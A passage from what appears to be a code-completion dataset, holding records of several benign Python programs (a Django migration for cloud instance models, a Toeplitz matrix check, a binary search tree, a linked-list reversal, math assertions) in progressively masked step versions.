verbose_name='\\u955c\\u50cf\\u521b\\u5efa\\u8005')),\n ('operation_mask', models.CharField(max_length=50, verbose_name='')),\n ],\n options={\n 'db_table': 'qcloud_image_info',\n },\n ),\n migrations.CreateModel(\n name='QcloudInstanceInfo',\n fields=[\n ('id', models.AutoField(verbose_name='ID', serialize=False, auto_created=True, primary_key=True)),\n ('instance_id', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8bid')),\n ('instance_name', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u540d\\u79f0')),\n ('instance_type', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u7c7b\\u578b')),\n ('cpu', models.CharField(max_length=50, verbose_name='cpu')),\n ('memory', models.CharField(max_length=50, verbose_name='\\u5185\\u5b58')),\n ('status', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u72b6\\u6001')),\n ('zone', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u6240\\u5c5e\\u5730\\u57df')),\n ('instance_charge_type', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u8ba1\\u8d39\\u6a21\\u5f0f')),\n ('private_ip_addresses', models.CharField(max_length=50, verbose_name='\\u5185\\u7f51ip')),\n ('public_ip_addresses', models.CharField(max_length=50, verbose_name='\\u5916\\u7f51ip')),\n ('image_id', models.CharField(max_length=50, verbose_name='\\u955c\\u50cfid')),\n ('os_name', models.CharField(max_length=50, verbose_name='\\u64cd\\u4f5c\\u7cfb\\u7edf\\u540d\\u79f0')),\n ('system_disk_type', models.CharField(max_length=50, verbose_name='\\u7cfb\\u7edf\\u76d8\\u7c7b\\u578b')),\n ('system_disk_size', models.CharField(max_length=50, verbose_name='\\u7cfb\\u7edf\\u76d8\\u5c3a\\u5bf8')),\n ('renew_flag', models.CharField(max_length=50, verbose_name='\\u81ea\\u52a8\\u7eed\\u8d39\\u6807\\u8bc6')),\n ('internet_max_bandwidth_out', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u7f51\\u7edc\\u5e26\\u5bbd\\u4e0a\\u9650')),\n ('internet_charge_type', models.CharField(max_length=50, verbose_name='\\u5b9e\\u4f8b\\u7f51\\u7edc\\u8ba1\\u8d39\\u7c7b\\u578b')),\n ('created_time', models.DateTimeField(default=django.utils.timezone.now, verbose_name='\\u5b9e\\u4f8b\\u521b\\u5efa\\u65f6\\u95f4')),\n ('expired_time', models.DateTimeField(default=django.utils.timezone.now, verbose_name='\\u5b9e\\u4f8b\\u5230\\u671f\\u65f6\\u95f4')),\n ],\n options={\n 'db_table': 'qcloud_instance_info',\n },\n ),\n ]\n", "step-ids": [ 0, 1, 2, 3, 4 ] }
[ 0, 1, 2, 3, 4 ]
class Solution: def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool: h = len(matrix) w = len(matrix[0]) for curRow in range(h) : val = matrix[curRow][0] i = 0 while i < h-curRow and i < w : # print(curRow+i,i) if matrix[curRow+i][i] != val : return False i += 1 # print('pass') for curCol in range(w) : val = matrix[0][curCol] i = 0 while i < h and i < w-curCol : if matrix[i][curCol+i] != val : return False i += 1 return True
normal
{ "blob_id": "774f5d01cd274755626989c2b58bde68df349d8e", "index": 5845, "step-1": "<mask token>\n", "step-2": "class Solution:\n <mask token>\n", "step-3": "class Solution:\n\n def isToeplitzMatrix(self, matrix: List[List[int]]) ->bool:\n h = len(matrix)\n w = len(matrix[0])\n for curRow in range(h):\n val = matrix[curRow][0]\n i = 0\n while i < h - curRow and i < w:\n if matrix[curRow + i][i] != val:\n return False\n i += 1\n for curCol in range(w):\n val = matrix[0][curCol]\n i = 0\n while i < h and i < w - curCol:\n if matrix[i][curCol + i] != val:\n return False\n i += 1\n return True\n", "step-4": "class Solution:\n def isToeplitzMatrix(self, matrix: List[List[int]]) -> bool:\n h = len(matrix)\n w = len(matrix[0])\n for curRow in range(h) :\n val = matrix[curRow][0]\n i = 0\n while i < h-curRow and i < w :\n # print(curRow+i,i)\n if matrix[curRow+i][i] != val :\n return False\n i += 1\n # print('pass')\n for curCol in range(w) :\n val = matrix[0][curCol]\n i = 0\n while i < h and i < w-curCol :\n if matrix[i][curCol+i] != val :\n return False\n i += 1\n return True", "step-5": null, "step-ids": [ 0, 1, 2, 3 ] }
[ 0, 1, 2, 3 ]
<|reserved_special_token_0|> class SquareNormal(super_environment.Environment): <|reserved_special_token_0|> @staticmethod def environment_type(): return 'square' <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> class SquareNormal(super_environment.Environment): <|reserved_special_token_0|> @staticmethod def environment_type(): return 'square' def get_converted_position(self, position_before, position_after, radius): x = position_after[0] if x < radius: x = radius elif x + radius > self.screen_size_x: x = self.screen_size_x - radius y = position_after[1] if y < radius: y = radius elif y > self.screen_size_y - radius: y = self.screen_size_y - radius return x, y <|reserved_special_token_1|> <|reserved_special_token_0|> class SquareNormal(super_environment.Environment): def __init__(self, size_x, size_y): super().__init__(size_x, size_y) @staticmethod def environment_type(): return 'square' def get_converted_position(self, position_before, position_after, radius): x = position_after[0] if x < radius: x = radius elif x + radius > self.screen_size_x: x = self.screen_size_x - radius y = position_after[1] if y < radius: y = radius elif y > self.screen_size_y - radius: y = self.screen_size_y - radius return x, y <|reserved_special_token_1|> from environment import super_environment class SquareNormal(super_environment.Environment): def __init__(self, size_x, size_y): super().__init__(size_x, size_y) @staticmethod def environment_type(): return 'square' def get_converted_position(self, position_before, position_after, radius): x = position_after[0] if x < radius: x = radius elif x + radius > self.screen_size_x: x = self.screen_size_x - radius y = position_after[1] if y < radius: y = radius elif y > self.screen_size_y - radius: y = self.screen_size_y - radius return x, y <|reserved_special_token_1|> # square environment. there are the wall at the edge from environment import super_environment class SquareNormal(super_environment.Environment): def __init__(self, size_x, size_y): super().__init__(size_x, size_y) @staticmethod def environment_type(): return 'square' def get_converted_position(self, position_before, position_after, radius): # return the able position.if the position over the edge wall it is impossible. x = position_after[0] if x < radius: x = radius elif x + radius > self.screen_size_x: x = self.screen_size_x - radius y = position_after[1] if y < radius: y = radius elif y > self.screen_size_y - radius: y = self.screen_size_y - radius return x, y
flexible
{ "blob_id": "919f1746bfdec61f5e81e6ce0e17bb3bf040230a", "index": 2958, "step-1": "<mask token>\n\n\nclass SquareNormal(super_environment.Environment):\n <mask token>\n\n @staticmethod\n def environment_type():\n return 'square'\n <mask token>\n", "step-2": "<mask token>\n\n\nclass SquareNormal(super_environment.Environment):\n <mask token>\n\n @staticmethod\n def environment_type():\n return 'square'\n\n def get_converted_position(self, position_before, position_after, radius):\n x = position_after[0]\n if x < radius:\n x = radius\n elif x + radius > self.screen_size_x:\n x = self.screen_size_x - radius\n y = position_after[1]\n if y < radius:\n y = radius\n elif y > self.screen_size_y - radius:\n y = self.screen_size_y - radius\n return x, y\n", "step-3": "<mask token>\n\n\nclass SquareNormal(super_environment.Environment):\n\n def __init__(self, size_x, size_y):\n super().__init__(size_x, size_y)\n\n @staticmethod\n def environment_type():\n return 'square'\n\n def get_converted_position(self, position_before, position_after, radius):\n x = position_after[0]\n if x < radius:\n x = radius\n elif x + radius > self.screen_size_x:\n x = self.screen_size_x - radius\n y = position_after[1]\n if y < radius:\n y = radius\n elif y > self.screen_size_y - radius:\n y = self.screen_size_y - radius\n return x, y\n", "step-4": "from environment import super_environment\n\n\nclass SquareNormal(super_environment.Environment):\n\n def __init__(self, size_x, size_y):\n super().__init__(size_x, size_y)\n\n @staticmethod\n def environment_type():\n return 'square'\n\n def get_converted_position(self, position_before, position_after, radius):\n x = position_after[0]\n if x < radius:\n x = radius\n elif x + radius > self.screen_size_x:\n x = self.screen_size_x - radius\n y = position_after[1]\n if y < radius:\n y = radius\n elif y > self.screen_size_y - radius:\n y = self.screen_size_y - radius\n return x, y\n", "step-5": "# square environment. there are the wall at the edge\nfrom environment import super_environment\n\n\nclass SquareNormal(super_environment.Environment):\n def __init__(self, size_x, size_y):\n super().__init__(size_x, size_y)\n\n @staticmethod\n def environment_type():\n return 'square'\n\n def get_converted_position(self, position_before, position_after, radius):\n # return the able position.if the position over the edge wall it is impossible.\n x = position_after[0]\n if x < radius:\n x = radius\n elif x + radius > self.screen_size_x:\n x = self.screen_size_x - radius\n y = position_after[1]\n if y < radius:\n y = radius\n elif y > self.screen_size_y - radius:\n y = self.screen_size_y - radius\n return x, y\n\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
<|reserved_special_token_0|> def math_builtins(): assert abs(-123) == 123 assert abs(-123.456) == 123.456 assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2) assert divmod(5, 2) == (2, 1) assert max(1, 2, 3, 4) == 4 assert min(1, 2, 3, 4) == 1 a = 2 b = 3 c = 7 assert pow(a, b) == a ** b assert pow(a, b, c) == a ** b % c assert round(123.05) == 123 assert round(123.65) == 124 assert round(-123.05) == -123 assert round(-123.65) == -124 assert round(123.65, 1) == 123.7 assert round(-123.65, 1) == -123.7 lst = [1, 2, 3] assert sum(lst) == 6 def math_module_constants(): assert math.pi == 3.141592653589793 assert math.tau == 6.283185307179586 assert math.e == 2.718281828459045 x = float('NaN') assert math.isnan(x) x = float('inf') assert math.isinf(x) x = math.inf assert math.isinf(x) x = -math.inf assert math.isinf(x) <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def math_builtins(): assert abs(-123) == 123 assert abs(-123.456) == 123.456 assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2) assert divmod(5, 2) == (2, 1) assert max(1, 2, 3, 4) == 4 assert min(1, 2, 3, 4) == 1 a = 2 b = 3 c = 7 assert pow(a, b) == a ** b assert pow(a, b, c) == a ** b % c assert round(123.05) == 123 assert round(123.65) == 124 assert round(-123.05) == -123 assert round(-123.65) == -124 assert round(123.65, 1) == 123.7 assert round(-123.65, 1) == -123.7 lst = [1, 2, 3] assert sum(lst) == 6 def math_module_constants(): assert math.pi == 3.141592653589793 assert math.tau == 6.283185307179586 assert math.e == 2.718281828459045 x = float('NaN') assert math.isnan(x) x = float('inf') assert math.isinf(x) x = math.inf assert math.isinf(x) x = -math.inf assert math.isinf(x) def math_module(): x = -1.23 assert math.fabs(x) == 1.23 <|reserved_special_token_0|> <|reserved_special_token_1|> <|reserved_special_token_0|> def math_builtins(): assert abs(-123) == 123 assert abs(-123.456) == 123.456 assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2) assert divmod(5, 2) == (2, 1) assert max(1, 2, 3, 4) == 4 assert min(1, 2, 3, 4) == 1 a = 2 b = 3 c = 7 assert pow(a, b) == a ** b assert pow(a, b, c) == a ** b % c assert round(123.05) == 123 assert round(123.65) == 124 assert round(-123.05) == -123 assert round(-123.65) == -124 assert round(123.65, 1) == 123.7 assert round(-123.65, 1) == -123.7 lst = [1, 2, 3] assert sum(lst) == 6 def math_module_constants(): assert math.pi == 3.141592653589793 assert math.tau == 6.283185307179586 assert math.e == 2.718281828459045 x = float('NaN') assert math.isnan(x) x = float('inf') assert math.isinf(x) x = math.inf assert math.isinf(x) x = -math.inf assert math.isinf(x) def math_module(): x = -1.23 assert math.fabs(x) == 1.23 if __name__ == '__main__': math_builtins() math_module_constants() math_module() <|reserved_special_token_1|> import math def math_builtins(): assert abs(-123) == 123 assert abs(-123.456) == 123.456 assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2) assert divmod(5, 2) == (2, 1) assert max(1, 2, 3, 4) == 4 assert min(1, 2, 3, 4) == 1 a = 2 b = 3 c = 7 assert pow(a, b) == a ** b assert pow(a, b, c) == a ** b % c assert round(123.05) == 123 assert round(123.65) == 124 assert round(-123.05) == -123 assert round(-123.65) == -124 assert round(123.65, 1) == 123.7 assert round(-123.65, 1) == -123.7 lst = [1, 2, 3] assert sum(lst) == 6 def math_module_constants(): assert math.pi == 3.141592653589793 assert math.tau == 6.283185307179586 assert math.e == 2.718281828459045 x = float('NaN') assert math.isnan(x) x = float('inf') assert math.isinf(x) x = math.inf assert math.isinf(x) x = -math.inf assert math.isinf(x) def math_module(): x = -1.23 assert math.fabs(x) == 1.23 if __name__ == '__main__': math_builtins() math_module_constants() math_module() <|reserved_special_token_1|> import math def math_builtins(): assert abs(-123) == 123 assert abs(-123.456) == 123.456 assert abs(2+3j) == math.sqrt(2**2 + 3**2) assert divmod(5, 2) == (2, 1) assert max(1, 2, 3, 4) == 4 assert min(1, 2, 3, 4) == 1 a = 2 b = 3 c = 7 assert pow(a, b) == a ** b assert pow(a, b, c) == a ** b % c assert round(123.05) == 123 assert round(123.65) == 124 assert round(-123.05) == -123 assert round(-123.65) == -124 assert round(123.65, 1) == 123.7 assert round(-123.65, 1) == -123.7 lst = [1, 2, 3] assert sum(lst) == 6 def math_module_constants(): assert math.pi == 3.141592653589793 assert math.tau == 6.283185307179586 assert math.e == 2.718281828459045 x = float('NaN') assert math.isnan(x) x = float('inf') assert math.isinf(x) x = math.inf assert math.isinf(x) x = -math.inf assert math.isinf(x) def math_module(): x = -1.23 assert math.fabs(x) == 1.23 if __name__ == "__main__": math_builtins() math_module_constants() math_module()
flexible
{ "blob_id": "c77db71844c65eb96946ac0cc384de43ad49ca99", "index": 6007, "step-1": "<mask token>\n\n\ndef math_builtins():\n assert abs(-123) == 123\n assert abs(-123.456) == 123.456\n assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2)\n assert divmod(5, 2) == (2, 1)\n assert max(1, 2, 3, 4) == 4\n assert min(1, 2, 3, 4) == 1\n a = 2\n b = 3\n c = 7\n assert pow(a, b) == a ** b\n assert pow(a, b, c) == a ** b % c\n assert round(123.05) == 123\n assert round(123.65) == 124\n assert round(-123.05) == -123\n assert round(-123.65) == -124\n assert round(123.65, 1) == 123.7\n assert round(-123.65, 1) == -123.7\n lst = [1, 2, 3]\n assert sum(lst) == 6\n\n\ndef math_module_constants():\n assert math.pi == 3.141592653589793\n assert math.tau == 6.283185307179586\n assert math.e == 2.718281828459045\n x = float('NaN')\n assert math.isnan(x)\n x = float('inf')\n assert math.isinf(x)\n x = math.inf\n assert math.isinf(x)\n x = -math.inf\n assert math.isinf(x)\n\n\n<mask token>\n", "step-2": "<mask token>\n\n\ndef math_builtins():\n assert abs(-123) == 123\n assert abs(-123.456) == 123.456\n assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2)\n assert divmod(5, 2) == (2, 1)\n assert max(1, 2, 3, 4) == 4\n assert min(1, 2, 3, 4) == 1\n a = 2\n b = 3\n c = 7\n assert pow(a, b) == a ** b\n assert pow(a, b, c) == a ** b % c\n assert round(123.05) == 123\n assert round(123.65) == 124\n assert round(-123.05) == -123\n assert round(-123.65) == -124\n assert round(123.65, 1) == 123.7\n assert round(-123.65, 1) == -123.7\n lst = [1, 2, 3]\n assert sum(lst) == 6\n\n\ndef math_module_constants():\n assert math.pi == 3.141592653589793\n assert math.tau == 6.283185307179586\n assert math.e == 2.718281828459045\n x = float('NaN')\n assert math.isnan(x)\n x = float('inf')\n assert math.isinf(x)\n x = math.inf\n assert math.isinf(x)\n x = -math.inf\n assert math.isinf(x)\n\n\ndef math_module():\n x = -1.23\n assert math.fabs(x) == 1.23\n\n\n<mask token>\n", "step-3": "<mask token>\n\n\ndef math_builtins():\n assert abs(-123) == 123\n assert abs(-123.456) == 123.456\n assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2)\n assert divmod(5, 2) == (2, 1)\n assert max(1, 2, 3, 4) == 4\n assert min(1, 2, 3, 4) == 1\n a = 2\n b = 3\n c = 7\n assert pow(a, b) == a ** b\n assert pow(a, b, c) == a ** b % c\n assert round(123.05) == 123\n assert round(123.65) == 124\n assert round(-123.05) == -123\n assert round(-123.65) == -124\n assert round(123.65, 1) == 123.7\n assert round(-123.65, 1) == -123.7\n lst = [1, 2, 3]\n assert sum(lst) == 6\n\n\ndef math_module_constants():\n assert math.pi == 3.141592653589793\n assert math.tau == 6.283185307179586\n assert math.e == 2.718281828459045\n x = float('NaN')\n assert math.isnan(x)\n x = float('inf')\n assert math.isinf(x)\n x = math.inf\n assert math.isinf(x)\n x = -math.inf\n assert math.isinf(x)\n\n\ndef math_module():\n x = -1.23\n assert math.fabs(x) == 1.23\n\n\nif __name__ == '__main__':\n math_builtins()\n math_module_constants()\n math_module()\n", "step-4": "import math\n\n\ndef math_builtins():\n assert abs(-123) == 123\n assert abs(-123.456) == 123.456\n assert abs(2 + 3.0j) == math.sqrt(2 ** 2 + 3 ** 2)\n assert divmod(5, 2) == (2, 1)\n assert max(1, 2, 3, 4) == 4\n assert min(1, 2, 3, 4) == 1\n a = 2\n b = 3\n c = 7\n assert pow(a, b) == a ** b\n assert pow(a, b, c) == a ** b % c\n assert round(123.05) == 123\n assert round(123.65) == 124\n assert round(-123.05) == -123\n assert round(-123.65) == -124\n assert round(123.65, 1) == 123.7\n assert round(-123.65, 1) == -123.7\n lst = [1, 2, 3]\n assert sum(lst) == 6\n\n\ndef math_module_constants():\n assert math.pi == 3.141592653589793\n assert math.tau == 6.283185307179586\n assert math.e == 2.718281828459045\n x = float('NaN')\n assert math.isnan(x)\n x = float('inf')\n assert math.isinf(x)\n x = math.inf\n assert math.isinf(x)\n x = -math.inf\n assert math.isinf(x)\n\n\ndef math_module():\n x = -1.23\n assert math.fabs(x) == 1.23\n\n\nif __name__ == '__main__':\n math_builtins()\n math_module_constants()\n math_module()\n", "step-5": "import math\n\n\ndef math_builtins():\n assert abs(-123) == 123\n assert abs(-123.456) == 123.456\n assert abs(2+3j) == math.sqrt(2**2 + 3**2)\n\n assert divmod(5, 2) == (2, 1)\n assert max(1, 2, 3, 4) == 4\n assert min(1, 2, 3, 4) == 1\n\n a = 2\n b = 3\n c = 7\n assert pow(a, b) == a ** b\n assert pow(a, b, c) == a ** b % c\n\n assert round(123.05) == 123\n assert round(123.65) == 124\n\n assert round(-123.05) == -123\n assert round(-123.65) == -124\n\n assert round(123.65, 1) == 123.7\n assert round(-123.65, 1) == -123.7\n\n lst = [1, 2, 3]\n assert sum(lst) == 6\n\n\ndef math_module_constants():\n assert math.pi == 3.141592653589793\n assert math.tau == 6.283185307179586\n assert math.e == 2.718281828459045\n\n x = float('NaN')\n assert math.isnan(x)\n\n x = float('inf')\n assert math.isinf(x)\n x = math.inf\n assert math.isinf(x)\n x = -math.inf\n assert math.isinf(x)\n\n\ndef math_module():\n x = -1.23\n assert math.fabs(x) == 1.23\n\n\nif __name__ == \"__main__\":\n math_builtins()\n math_module_constants()\n math_module()\n", "step-ids": [ 2, 3, 4, 5, 6 ] }
[ 2, 3, 4, 5, 6 ]
# -*- coding: utf-8 -*- # Author:sen # Date:2020/4/2 14:15 class TreeNode: def __init__(self, val): self.val = val self.left = None self.right = None def find(root, val): if not root: return None if val < root.val: return find(root.left, val) elif val > root.val: return find(root.right, val) else: return root def find_min(root): if root: while root.left: root = root.left return root def find_max(root): if root: while root.right: root = root.right return root def insert(root, val): if not root: root = TreeNode(val) elif val < root.val: root.left = insert(root.left, val) elif val > root.val: root.right = insert(root.right, val) else: pass # val==root.val val已经在树中,什么都不做 return root def delete(root, val): if not root: return None elif val < root.val: root.left = delete(root.left, val) # 返回左子树的根 elif val > root.val: root.right = delete(root.right, val) else: # 执行删除操作 if root.left and root.right: # 两个孩子节点的情况 tmp = find_min(root.right) root.val = tmp.val root.right = delete(root.right, tmp.val) else: # 0个或1个 root = root.left if root.left else root.right return root def height(root): if root is None: return -1 else: return 1 + max(height(root.left), height(root.right)) if __name__ == '__main__': vals = [1, 2, 3, 4, 5, 6, 7, 8] root = None from DataStructure.tree import in_order for v in vals: root = insert(root, v) tree_in_order = in_order(root) assert vals == tree_in_order, "构建树出错" # vals.append(9) # root = insert(root, 9) # tree_in_order = in_order(root) # assert vals == tree_in_order, "插入出错" # # vals.remove(6) # root = delete(root, 6) # tree_in_order = in_order(root) # assert vals == tree_in_order, "删除出错" print(height(root))
normal
{ "blob_id": "9e525eccbf10a710d6f37c903370cc10f7d2c62b", "index": 8475, "step-1": "class TreeNode:\n <mask token>\n\n\n<mask token>\n", "step-2": "class TreeNode:\n\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\ndef find(root, val):\n if not root:\n return None\n if val < root.val:\n return find(root.left, val)\n elif val > root.val:\n return find(root.right, val)\n else:\n return root\n\n\ndef find_min(root):\n if root:\n while root.left:\n root = root.left\n return root\n\n\n<mask token>\n\n\ndef insert(root, val):\n if not root:\n root = TreeNode(val)\n elif val < root.val:\n root.left = insert(root.left, val)\n elif val > root.val:\n root.right = insert(root.right, val)\n else:\n pass\n return root\n\n\n<mask token>\n\n\ndef height(root):\n if root is None:\n return -1\n else:\n return 1 + max(height(root.left), height(root.right))\n\n\n<mask token>\n", "step-3": "class TreeNode:\n\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\ndef find(root, val):\n if not root:\n return None\n if val < root.val:\n return find(root.left, val)\n elif val > root.val:\n return find(root.right, val)\n else:\n return root\n\n\ndef find_min(root):\n if root:\n while root.left:\n root = root.left\n return root\n\n\ndef find_max(root):\n if root:\n while root.right:\n root = root.right\n return root\n\n\ndef insert(root, val):\n if not root:\n root = TreeNode(val)\n elif val < root.val:\n root.left = insert(root.left, val)\n elif val > root.val:\n root.right = insert(root.right, val)\n else:\n pass\n return root\n\n\n<mask token>\n\n\ndef height(root):\n if root is None:\n return -1\n else:\n return 1 + max(height(root.left), height(root.right))\n\n\n<mask token>\n", "step-4": "class TreeNode:\n\n def __init__(self, val):\n self.val = val\n self.left = None\n self.right = None\n\n\ndef find(root, val):\n if not root:\n return None\n if val < root.val:\n return find(root.left, val)\n elif val > root.val:\n return find(root.right, val)\n else:\n return root\n\n\ndef find_min(root):\n if root:\n while root.left:\n root = root.left\n return root\n\n\ndef find_max(root):\n if root:\n while root.right:\n root = root.right\n return root\n\n\ndef insert(root, val):\n if not root:\n root = TreeNode(val)\n elif val < root.val:\n root.left = insert(root.left, val)\n elif val > root.val:\n root.right = insert(root.right, val)\n else:\n pass\n return root\n\n\ndef delete(root, val):\n if not root:\n return None\n elif val < root.val:\n root.left = delete(root.left, val)\n elif val > root.val:\n root.right = delete(root.right, val)\n elif root.left and root.right:\n tmp = find_min(root.right)\n root.val = tmp.val\n root.right = delete(root.right, tmp.val)\n else:\n root = root.left if root.left else root.right\n return root\n\n\ndef height(root):\n if root is None:\n return -1\n else:\n return 1 + max(height(root.left), height(root.right))\n\n\nif __name__ == '__main__':\n vals = [1, 2, 3, 4, 5, 6, 7, 8]\n root = None\n from DataStructure.tree import in_order\n for v in vals:\n root = insert(root, v)\n tree_in_order = in_order(root)\n assert vals == tree_in_order, '构建树出错'\n print(height(root))\n", "step-5": "# -*- coding: utf-8 -*-\n# Author:sen\n# Date:2020/4/2 14:15\n\nclass TreeNode:\n def __init__(self, val):\n self.val = val \n self.left = None\n self.right = None\n\ndef find(root, val):\n if not root:\n return None\n if val < root.val:\n return find(root.left, val)\n elif val > root.val:\n return find(root.right, val)\n else:\n return root\n \n\ndef find_min(root):\n if root:\n while root.left:\n root = root.left\n return root\n \n\ndef find_max(root):\n if root:\n while root.right:\n root = root.right\n return root\n\ndef insert(root, val):\n if not root:\n root = TreeNode(val)\n elif val < root.val:\n root.left = insert(root.left, val)\n elif val > root.val:\n root.right = insert(root.right, val)\n else:\n pass # val==root.val val已经在树中,什么都不做\n return root\n\n\ndef delete(root, val):\n if not root:\n return None\n elif val < root.val:\n root.left = delete(root.left, val) # 返回左子树的根\n elif val > root.val:\n root.right = delete(root.right, val)\n else: # 执行删除操作\n if root.left and root.right: # 两个孩子节点的情况\n tmp = find_min(root.right)\n root.val = tmp.val\n root.right = delete(root.right, tmp.val)\n else: # 0个或1个\n root = root.left if root.left else root.right\n return root\n\ndef height(root):\n if root is None:\n return -1\n else:\n return 1 + max(height(root.left), height(root.right))\n\nif __name__ == '__main__':\n vals = [1, 2, 3, 4, 5, 6, 7, 8]\n root = None\n from DataStructure.tree import in_order\n for v in vals:\n root = insert(root, v)\n tree_in_order = in_order(root)\n assert vals == tree_in_order, \"构建树出错\"\n # vals.append(9)\n # root = insert(root, 9)\n # tree_in_order = in_order(root)\n # assert vals == tree_in_order, \"插入出错\"\n # \n # vals.remove(6)\n # root = delete(root, 6)\n # tree_in_order = in_order(root)\n # assert vals == tree_in_order, \"删除出错\"\n \n print(height(root))\n ", "step-ids": [ 1, 6, 7, 9, 10 ] }
[ 1, 6, 7, 9, 10 ]
class Node: def __init__(self, value, next=None): self.value = value self.next = next <|reserved_special_token_0|> @staticmethod def makelist(values): node = None for i in range(len(values) - 1, -1, -1): node = Node(values[i], node) return node <|reserved_special_token_0|> <|reserved_special_token_1|> class Node: def __init__(self, value, next=None): self.value = value self.next = next def __str__(self): values = [] iter = self while iter != None: values.append(iter.value) iter = iter.next return ' -> '.join(values) @staticmethod def makelist(values): node = None for i in range(len(values) - 1, -1, -1): node = Node(values[i], node) return node <|reserved_special_token_0|> <|reserved_special_token_1|> class Node: def __init__(self, value, next=None): self.value = value self.next = next def __str__(self): values = [] iter = self while iter != None: values.append(iter.value) iter = iter.next return ' -> '.join(values) @staticmethod def makelist(values): node = None for i in range(len(values) - 1, -1, -1): node = Node(values[i], node) return node def reverse(node, s, f): dummy = Node(0, node) iter = node start = dummy end = node rstart = node rend = node i = 1 if s == f: return node while i < s: start = iter if iter != None: iter = iter.next else: return node i += 1 rstart = iter prev = iter if iter == None: return node next = iter.next while i < f: curr = next if next != None: next = next.next else: return node curr.next = prev prev = curr i += 1 rend = prev end = next start.next = rend rstart.next = end return dummy.next <|reserved_special_token_0|> print(node) print(reverse(node, s, f)) <|reserved_special_token_1|> class Node: def __init__(self, value, next=None): self.value = value self.next = next def __str__(self): values = [] iter = self while iter != None: values.append(iter.value) iter = iter.next return ' -> '.join(values) @staticmethod def makelist(values): node = None for i in range(len(values) - 1, -1, -1): node = Node(values[i], node) return node def reverse(node, s, f): dummy = Node(0, node) iter = node start = dummy end = node rstart = node rend = node i = 1 if s == f: return node while i < s: start = iter if iter != None: iter = iter.next else: return node i += 1 rstart = iter prev = iter if iter == None: return node next = iter.next while i < f: curr = next if next != None: next = next.next else: return node curr.next = prev prev = curr i += 1 rend = prev end = next start.next = rend rstart.next = end return dummy.next values = input('Enter a list: ').split(',') s, f = map(lambda x: int(x), input('Enter start and finish: ').split(',')) node = Node.makelist(values) print(node) print(reverse(node, s, f))
flexible
{ "blob_id": "599310cfd05be28445535bc72251128ed72a9069", "index": 4372, "step-1": "class Node:\n\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n <mask token>\n\n @staticmethod\n def makelist(values):\n node = None\n for i in range(len(values) - 1, -1, -1):\n node = Node(values[i], node)\n return node\n\n\n<mask token>\n", "step-2": "class Node:\n\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\n def __str__(self):\n values = []\n iter = self\n while iter != None:\n values.append(iter.value)\n iter = iter.next\n return ' -> '.join(values)\n\n @staticmethod\n def makelist(values):\n node = None\n for i in range(len(values) - 1, -1, -1):\n node = Node(values[i], node)\n return node\n\n\n<mask token>\n", "step-3": "class Node:\n\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\n def __str__(self):\n values = []\n iter = self\n while iter != None:\n values.append(iter.value)\n iter = iter.next\n return ' -> '.join(values)\n\n @staticmethod\n def makelist(values):\n node = None\n for i in range(len(values) - 1, -1, -1):\n node = Node(values[i], node)\n return node\n\n\ndef reverse(node, s, f):\n dummy = Node(0, node)\n iter = node\n start = dummy\n end = node\n rstart = node\n rend = node\n i = 1\n if s == f:\n return node\n while i < s:\n start = iter\n if iter != None:\n iter = iter.next\n else:\n return node\n i += 1\n rstart = iter\n prev = iter\n if iter == None:\n return node\n next = iter.next\n while i < f:\n curr = next\n if next != None:\n next = next.next\n else:\n return node\n curr.next = prev\n prev = curr\n i += 1\n rend = prev\n end = next\n start.next = rend\n rstart.next = end\n return dummy.next\n\n\n<mask token>\nprint(node)\nprint(reverse(node, s, f))\n", "step-4": "class Node:\n\n def __init__(self, value, next=None):\n self.value = value\n self.next = next\n\n def __str__(self):\n values = []\n iter = self\n while iter != None:\n values.append(iter.value)\n iter = iter.next\n return ' -> '.join(values)\n\n @staticmethod\n def makelist(values):\n node = None\n for i in range(len(values) - 1, -1, -1):\n node = Node(values[i], node)\n return node\n\n\ndef reverse(node, s, f):\n dummy = Node(0, node)\n iter = node\n start = dummy\n end = node\n rstart = node\n rend = node\n i = 1\n if s == f:\n return node\n while i < s:\n start = iter\n if iter != None:\n iter = iter.next\n else:\n return node\n i += 1\n rstart = iter\n prev = iter\n if iter == None:\n return node\n next = iter.next\n while i < f:\n curr = next\n if next != None:\n next = next.next\n else:\n return node\n curr.next = prev\n prev = curr\n i += 1\n rend = prev\n end = next\n start.next = rend\n rstart.next = end\n return dummy.next\n\n\nvalues = input('Enter a list: ').split(',')\ns, f = map(lambda x: int(x), input('Enter start and finish: ').split(','))\nnode = Node.makelist(values)\nprint(node)\nprint(reverse(node, s, f))\n", "step-5": null, "step-ids": [ 3, 4, 6, 7 ] }
[ 3, 4, 6, 7 ]
